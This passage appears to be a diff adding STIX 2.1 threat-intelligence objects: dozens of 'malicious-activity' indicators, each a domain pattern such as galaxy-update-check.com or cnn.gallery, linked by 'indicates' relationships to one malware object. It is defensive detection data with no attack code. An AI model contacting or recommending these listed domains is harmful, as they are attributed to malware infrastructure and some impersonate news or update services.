+ }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b4a3710d-2cbf-4a21-99c2-c74119db8cdc", + "created": "2024-05-02T08:36:18.521433Z", + "modified": "2024-05-02T08:36:18.521433Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='galaxy-update-check.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.521433Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bea8b6af-2bc3-4a62-995c-ddfc989ae69a", + "created": "2024-05-02T08:36:18.52192Z", + "modified": "2024-05-02T08:36:18.52192Z", + "relationship_type": "indicates", + "source_ref": "indicator--b4a3710d-2cbf-4a21-99c2-c74119db8cdc", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fd8753a4-e0d1-490b-86b1-431f64177e4e", + "created": "2024-05-02T08:36:18.52202Z", + "modified": "2024-05-02T08:36:18.52202Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='playerselection.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.52202Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c740bad2-b7e7-47a0-9969-681a352d4aac", + "created": "2024-05-02T08:36:18.52242Z", + "modified": "2024-05-02T08:36:18.52242Z", + "relationship_type": "indicates", + "source_ref": "indicator--fd8753a4-e0d1-490b-86b1-431f64177e4e", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0b4806cf-33f9-4914-924b-5c066334de4e", + "created": "2024-05-02T08:36:18.522518Z", + "modified": "2024-05-02T08:36:18.522518Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cloudysystems.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.522518Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a70381a5-d3b5-4798-aa13-a9fb50b00ed8", + "created": "2024-05-02T08:36:18.522918Z", + "modified": "2024-05-02T08:36:18.522918Z", + "relationship_type": "indicates", + "source_ref": "indicator--0b4806cf-33f9-4914-924b-5c066334de4e", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b47fe5c1-9343-4f96-a0c7-6d3e0b487bcd", + "created": "2024-05-02T08:36:18.523016Z", + "modified": "2024-05-02T08:36:18.523016Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yachtatdock.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.523016Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8bddc442-131f-4ba5-9c91-c6b22e51b42a", + "created": "2024-05-02T08:36:18.523414Z", + "modified": "2024-05-02T08:36:18.523414Z", + "relationship_type": "indicates", + "source_ref": "indicator--b47fe5c1-9343-4f96-a0c7-6d3e0b487bcd", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--66b72458-5acf-4f1e-8aca-a5d86b92b5cd", + "created": "2024-05-02T08:36:18.523511Z", + "modified": "2024-05-02T08:36:18.523511Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='techdeliver.cc']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.523511Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--838d645e-5fd7-41cd-a8bc-ff75b7461b08", + "created": "2024-05-02T08:36:18.523903Z", + "modified": "2024-05-02T08:36:18.523903Z", + "relationship_type": "indicates", + "source_ref": "indicator--66b72458-5acf-4f1e-8aca-a5d86b92b5cd", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--df8dd637-a7d1-4c95-a961-88f3fe61f0a4", + "created": "2024-05-02T08:36:18.524Z", + "modified": "2024-05-02T08:36:18.524Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cnn.gallery']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.524Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--91f105a2-6642-4dec-9b02-48adbae59415", + "created": "2024-05-02T08:36:18.524493Z", + "modified": "2024-05-02T08:36:18.524493Z", + "relationship_type": "indicates", + "source_ref": "indicator--df8dd637-a7d1-4c95-a961-88f3fe61f0a4", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef98e8dc-75d3-493a-adbf-33aab94adb63", + "created": "2024-05-02T08:36:18.524626Z", + "modified": "2024-05-02T08:36:18.524626Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='businesspractice.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.524626Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--605c5d90-c889-4458-a780-76bf9665b9fc", + "created": "2024-05-02T08:36:18.525057Z", + "modified": "2024-05-02T08:36:18.525057Z", + "relationship_type": "indicates", + "source_ref": "indicator--ef98e8dc-75d3-493a-adbf-33aab94adb63", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--72133f0a-13ee-4a38-b665-5291354ef25b", + "created": "2024-05-02T08:36:18.52516Z", + "modified": "2024-05-02T08:36:18.52516Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='africatech.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.52516Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a9eb791a-0769-4bfe-a03d-3d3bc9db67b4", + "created": "2024-05-02T08:36:18.525558Z", + "modified": "2024-05-02T08:36:18.525558Z", + "relationship_type": "indicates", + "source_ref": "indicator--72133f0a-13ee-4a38-b665-5291354ef25b", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a397421c-434a-4495-bf8d-7c3fe3546066", + "created": "2024-05-02T08:36:18.525654Z", + "modified": "2024-05-02T08:36:18.525654Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flipcollective.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.525654Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--08273595-78ae-4331-bee5-ce57cc24bb9c", + "created": "2024-05-02T08:36:18.526053Z", + "modified": "2024-05-02T08:36:18.526053Z", + "relationship_type": "indicates", + "source_ref": "indicator--a397421c-434a-4495-bf8d-7c3fe3546066", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef88f717-e204-402e-9f8c-e057f48c73fe", + "created": "2024-05-02T08:36:18.526149Z", + "modified": "2024-05-02T08:36:18.526149Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coralspire.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.526149Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6f3c8e18-2ff6-4ef2-a917-2329102bbc1d", + "created": "2024-05-02T08:36:18.526628Z", + "modified": "2024-05-02T08:36:18.526628Z", + "relationship_type": "indicates", + "source_ref": "indicator--ef88f717-e204-402e-9f8c-e057f48c73fe", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1d6982b5-3748-4182-93e5-b988dca39f5d", + "created": "2024-05-02T08:36:18.526728Z", + "modified": "2024-05-02T08:36:18.526728Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='topmark24.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.526728Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aef5983a-f97e-4b31-aace-f0f53784d622", + "created": "2024-05-02T08:36:18.527217Z", + "modified": "2024-05-02T08:36:18.527217Z", + "relationship_type": "indicates", + "source_ref": "indicator--1d6982b5-3748-4182-93e5-b988dca39f5d", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--622a3f26-fa85-44b2-a3a2-e1c828b3253a", + "created": "2024-05-02T08:36:18.527315Z", + "modified": "2024-05-02T08:36:18.527315Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='astroplanet.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.527315Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3c177930-72f6-4dc4-a257-24ae2d015acd", + "created": "2024-05-02T08:36:18.527713Z", + "modified": "2024-05-02T08:36:18.527713Z", + "relationship_type": "indicates", + "source_ref": "indicator--622a3f26-fa85-44b2-a3a2-e1c828b3253a", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--48f88344-e105-406c-a98b-2349905ba5d2", + "created": "2024-05-02T08:36:18.527817Z", + "modified": "2024-05-02T08:36:18.527817Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='seneweb.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.527817Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7c333f91-f756-4523-aad5-1d7d1400db76", + "created": "2024-05-02T08:36:18.528214Z", + "modified": "2024-05-02T08:36:18.528214Z", + "relationship_type": "indicates", + "source_ref": "indicator--48f88344-e105-406c-a98b-2349905ba5d2", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--797ebe59-a4a4-4700-8392-433d73f43521", + "created": "2024-05-02T08:36:18.528312Z", + "modified": "2024-05-02T08:36:18.528312Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='boxmaster.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.528312Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b22e8c9c-f7ba-472f-bd73-816de2212456", + "created": "2024-05-02T08:36:18.528712Z", + "modified": "2024-05-02T08:36:18.528712Z", + "relationship_type": "indicates", + "source_ref": "indicator--797ebe59-a4a4-4700-8392-433d73f43521", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c226e729-ef3e-42da-ad6f-a7c38a1ec03a", + "created": "2024-05-02T08:36:18.528809Z", + "modified": "2024-05-02T08:36:18.528809Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ateliernow.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.528809Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dfd874ee-af66-4176-bba2-979ff5a17ad8", + "created": "2024-05-02T08:36:18.529203Z", + "modified": "2024-05-02T08:36:18.529203Z", + "relationship_type": "indicates", + "source_ref": "indicator--c226e729-ef3e-42da-ad6f-a7c38a1ec03a", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d4ed050a-4b52-47b7-96bf-75a85c1ce892", + "created": "2024-05-02T08:36:18.5293Z", + "modified": "2024-05-02T08:36:18.5293Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cafelatenow.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.5293Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--680eea85-fb37-4bd5-960a-a47e50669c38", + "created": "2024-05-02T08:36:18.529698Z", + "modified": "2024-05-02T08:36:18.529698Z", + "relationship_type": "indicates", + "source_ref": "indicator--d4ed050a-4b52-47b7-96bf-75a85c1ce892", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--16f744fd-6177-4d14-a112-50f3077af957", + "created": "2024-05-02T08:36:18.529795Z", + "modified": "2024-05-02T08:36:18.529795Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hiphopreviews.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.529795Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e8b7e6c2-a32d-4172-9986-62c688cf6d2a", + "created": "2024-05-02T08:36:18.530195Z", + "modified": "2024-05-02T08:36:18.530195Z", + "relationship_type": "indicates", + "source_ref": "indicator--16f744fd-6177-4d14-a112-50f3077af957", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--07be81fe-c4ab-4508-a5e9-d9748c0af8d6", + "created": "2024-05-02T08:36:18.530292Z", + "modified": "2024-05-02T08:36:18.530292Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='history-guidance.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.530292Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--942cdc59-0c1e-4876-bdb3-a8fd6eb68d4f", + "created": "2024-05-02T08:36:18.530696Z", + "modified": "2024-05-02T08:36:18.530696Z", + "relationship_type": "indicates", + "source_ref": "indicator--07be81fe-c4ab-4508-a5e9-d9748c0af8d6", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5bc461f8-1dae-4c81-a392-0ccd7a2477a2", + "created": "2024-05-02T08:36:18.530793Z", + "modified": "2024-05-02T08:36:18.530793Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='witquote.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.530793Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c3a86c2b-1692-4117-9f78-b2fe9f782f1a", + "created": "2024-05-02T08:36:18.531265Z", + "modified": "2024-05-02T08:36:18.531265Z", + "relationship_type": "indicates", + "source_ref": "indicator--5bc461f8-1dae-4c81-a392-0ccd7a2477a2", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9a9c02f9-e687-4087-b8ac-5f96df13c20a", + "created": "2024-05-02T08:36:18.531363Z", + "modified": "2024-05-02T08:36:18.531363Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='solargeotech.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.531363Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5ce25ec8-4428-443b-9a5d-4bb49c2bcfad", + "created": "2024-05-02T08:36:18.531763Z", + "modified": "2024-05-02T08:36:18.531763Z", + "relationship_type": "indicates", + "source_ref": "indicator--9a9c02f9-e687-4087-b8ac-5f96df13c20a", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0e412d4c-4798-4669-92d8-f854eb11fa18", + "created": "2024-05-02T08:36:18.531861Z", + "modified": "2024-05-02T08:36:18.531861Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bincoupon.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.531861Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f84d0369-9e04-4b3f-831c-b71c2f6a8758", + "created": "2024-05-02T08:36:18.532257Z", + "modified": "2024-05-02T08:36:18.532257Z", + "relationship_type": "indicates", + "source_ref": "indicator--0e412d4c-4798-4669-92d8-f854eb11fa18", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--29c9bcc4-9b9b-40b7-a2bf-9ac93bee6d4e", + "created": "2024-05-02T08:36:18.532354Z", + "modified": "2024-05-02T08:36:18.532354Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='misoshiru.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.532354Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4c506f7a-d3f0-49fc-81b0-9b9ebc69c23b", + "created": "2024-05-02T08:36:18.532747Z", + "modified": "2024-05-02T08:36:18.532747Z", + "relationship_type": "indicates", + "source_ref": "indicator--29c9bcc4-9b9b-40b7-a2bf-9ac93bee6d4e", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f9d3e517-1372-4aeb-b17f-2c54221fad9e", + "created": "2024-05-02T08:36:18.532842Z", + "modified": "2024-05-02T08:36:18.532842Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='syndicationcdn.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.532842Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6e7fc417-4e97-463f-a8f5-d8b7a40bebcf", + "created": "2024-05-02T08:36:18.533242Z", + "modified": "2024-05-02T08:36:18.533242Z", + "relationship_type": "indicates", + "source_ref": "indicator--f9d3e517-1372-4aeb-b17f-2c54221fad9e", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a07fc65a-bd9f-4998-86f7-d456f9bc898e", + "created": "2024-05-02T08:36:18.533337Z", + "modified": "2024-05-02T08:36:18.533337Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='travelow.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.533337Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e755c407-7bf5-4774-9e7c-0fe2ef6f35f9", + "created": "2024-05-02T08:36:18.53373Z", + "modified": "2024-05-02T08:36:18.53373Z", + "relationship_type": "indicates", + "source_ref": "indicator--a07fc65a-bd9f-4998-86f7-d456f9bc898e", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--872c5f25-c57e-40b4-a9b6-dc7a720088af", + "created": "2024-05-02T08:36:18.533826Z", + "modified": "2024-05-02T08:36:18.533826Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='securefilter.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.533826Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--552e18be-602e-438b-9f6f-92f68f850497", + "created": "2024-05-02T08:36:18.534226Z", + "modified": "2024-05-02T08:36:18.534226Z", + "relationship_type": "indicates", + "source_ref": "indicator--872c5f25-c57e-40b4-a9b6-dc7a720088af", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--30d9146b-6b7e-4bf9-8a1c-f26bf594b910", + "created": "2024-05-02T08:36:18.534323Z", + "modified": "2024-05-02T08:36:18.534323Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='afrinews.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.534323Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9a750071-8835-4bce-97fb-6178e5abe86e", + "created": "2024-05-02T08:36:18.534717Z", + "modified": "2024-05-02T08:36:18.534717Z", + "relationship_type": "indicates", + "source_ref": "indicator--30d9146b-6b7e-4bf9-8a1c-f26bf594b910", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a29b4b38-1b3f-46cd-a01c-1d95fd9e9783", + "created": "2024-05-02T08:36:18.534812Z", + "modified": "2024-05-02T08:36:18.534812Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='senedroid.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.534812Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ce61b470-2aeb-483c-9035-14283367f6e0", + "created": "2024-05-02T08:36:18.535204Z", + "modified": "2024-05-02T08:36:18.535204Z", + "relationship_type": "indicates", + "source_ref": "indicator--a29b4b38-1b3f-46cd-a01c-1d95fd9e9783", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--634ef158-c59e-4428-abe0-dcde7279fd33", + "created": "2024-05-02T08:36:18.535301Z", + "modified": "2024-05-02T08:36:18.535301Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='serverdetails.click']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.535301Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d65611d5-84a8-4dd6-971b-415f96bc2642", + "created": "2024-05-02T08:36:18.535779Z", + "modified": "2024-05-02T08:36:18.535779Z", + "relationship_type": "indicates", + "source_ref": "indicator--634ef158-c59e-4428-abe0-dcde7279fd33", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8d3f8ef7-11fa-44c7-9477-ab0babdc0109", + "created": "2024-05-02T08:36:18.53588Z", + "modified": "2024-05-02T08:36:18.53588Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='daysomega.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.53588Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2c0a5c14-d649-4e69-ac4d-08f0f6029cb5", + "created": "2024-05-02T08:36:18.536278Z", + "modified": "2024-05-02T08:36:18.536278Z", + "relationship_type": "indicates", + "source_ref": "indicator--8d3f8ef7-11fa-44c7-9477-ab0babdc0109", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1d2f358b-234c-49aa-ad65-60bfdd105a6e", + "created": "2024-05-02T08:36:18.536377Z", + "modified": "2024-05-02T08:36:18.536377Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='expandingtech.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.536377Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d1d42bc8-5c1f-4070-bbd5-9d42b36818d2", + "created": "2024-05-02T08:36:18.536777Z", + "modified": "2024-05-02T08:36:18.536777Z", + "relationship_type": "indicates", + "source_ref": "indicator--1d2f358b-234c-49aa-ad65-60bfdd105a6e", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eddd442b-740e-410c-be62-6e409dc36652", + "created": "2024-05-02T08:36:18.536875Z", + "modified": "2024-05-02T08:36:18.536875Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='urbanthree.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.536875Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--49225a71-35b1-4a40-80ef-1f2b7b3012ab", + "created": "2024-05-02T08:36:18.537273Z", + "modified": "2024-05-02T08:36:18.537273Z", + "relationship_type": "indicates", + "source_ref": "indicator--eddd442b-740e-410c-be62-6e409dc36652", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5564ee57-386c-47c8-9eb6-b30d17aa6466", + "created": "2024-05-02T08:36:18.537369Z", + "modified": "2024-05-02T08:36:18.537369Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='setupvalue.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.537369Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--37227974-8465-455b-a93d-d0d959d3d1fb", + "created": "2024-05-02T08:36:18.537765Z", + "modified": "2024-05-02T08:36:18.537765Z", + "relationship_type": "indicates", + "source_ref": "indicator--5564ee57-386c-47c8-9eb6-b30d17aa6466", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4d420556-cc54-4d7e-83fa-871189a7991f", + "created": "2024-05-02T08:36:18.537861Z", + "modified": "2024-05-02T08:36:18.537861Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tribunnews.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.537861Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e99adbab-7579-447f-a327-317002dc805c", + "created": "2024-05-02T08:36:18.538259Z", + "modified": "2024-05-02T08:36:18.538259Z", + "relationship_type": "indicates", + "source_ref": "indicator--4d420556-cc54-4d7e-83fa-871189a7991f", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b956ee79-e205-46e0-87ac-21c223468de3", + "created": "2024-05-02T08:36:18.538356Z", + "modified": "2024-05-02T08:36:18.538356Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='senego.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.538356Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3157e78d-9b4f-4016-bbbf-107022e1198b", + "created": "2024-05-02T08:36:18.53875Z", + "modified": "2024-05-02T08:36:18.53875Z", + "relationship_type": "indicates", + "source_ref": "indicator--b956ee79-e205-46e0-87ac-21c223468de3", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b735df00-3ef7-4648-915a-af6af945398a", + "created": "2024-05-02T08:36:18.538847Z", + "modified": "2024-05-02T08:36:18.538847Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fansclear.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.538847Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d598c4ed-7c08-4cb5-a0c1-350ed08fd064", + "created": "2024-05-02T08:36:18.539241Z", + "modified": "2024-05-02T08:36:18.539241Z", + "relationship_type": "indicates", + "source_ref": "indicator--b735df00-3ef7-4648-915a-af6af945398a", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ffd4528d-1e10-4432-b3d6-804efcfed735", + "created": "2024-05-02T08:36:18.539339Z", + "modified": "2024-05-02T08:36:18.539339Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bestgeometry.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.539339Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2d2d1449-1844-44d7-9757-e13a0c99078e", + "created": "2024-05-02T08:36:18.539747Z", + "modified": "2024-05-02T08:36:18.539747Z", + "relationship_type": "indicates", + "source_ref": "indicator--ffd4528d-1e10-4432-b3d6-804efcfed735", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b3878d86-4cc8-4bd3-9efb-47acfab6b917", + "created": "2024-05-02T08:36:18.539845Z", + "modified": "2024-05-02T08:36:18.539845Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='michealblog.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.539845Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aa6bed55-8a48-4d33-8927-1349ca256ebe", + "created": "2024-05-02T08:36:18.540324Z", + "modified": "2024-05-02T08:36:18.540324Z", + "relationship_type": "indicates", + "source_ref": "indicator--b3878d86-4cc8-4bd3-9efb-47acfab6b917", + "target_ref": 